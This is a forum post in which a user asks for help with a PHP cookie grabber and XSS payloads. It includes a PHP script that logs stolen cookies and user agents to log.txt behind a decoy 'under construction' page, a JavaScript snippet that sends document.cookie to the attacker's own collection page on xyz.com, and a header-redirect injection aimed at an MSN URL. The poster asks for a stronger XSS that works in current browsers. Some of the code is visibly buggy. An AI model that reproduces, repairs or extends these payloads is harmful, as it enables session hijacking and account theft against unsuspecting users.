i need cookie grabber help on php

Well i made all , a log.txt, cookiegrabber.php, and redirect.php which contains xss script. but whenever i opened cookiegrabber.php its just show ip address, date, time but just cookie the main part it didnot show. But thats what i needed.

So first question, can i grab my own cookie or not? is this a server problem, or server restriction, or server different environment or my script problem or is this because of new browsers, the script goes like below

this catcher is ok it shows either
<?php

$cookie = $HTTP_GET_VARS["cookie"];
$date = date ("l ds of F Y h:i:s A");
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$file = fopen('log.txt','a');
fwrite($file,"DATE : $date || USER AGENT
:$user_agent || COOKIE : $cookie \n");
fclose($file);

echo '<b>Sorry, this page is under construction</b>

<br><br>Please click <a href="http://www.google.com">here</a>to go back to previous page'

?>

1st xss script try disable

<html>

<script type="text/javascript">
document.write("<a href='http://xyz.com/try/cookiecatcherr.php?cookie=" + document.cookie + ">CookieTest</a>");
</script>

</html>

2nd xss script try didnot work

<?php
header("Location: http://ilovemessenger.msn.com/?mkt=nl-nl');location.href='http://xyz.com/try/try.php?cookie='+escape(document.cookie);escape('");
exit;
?>

please give me any xss script which works at present. New browser may be advance and powerful so give me something extraordinary one if anybody know or give me any website links thanks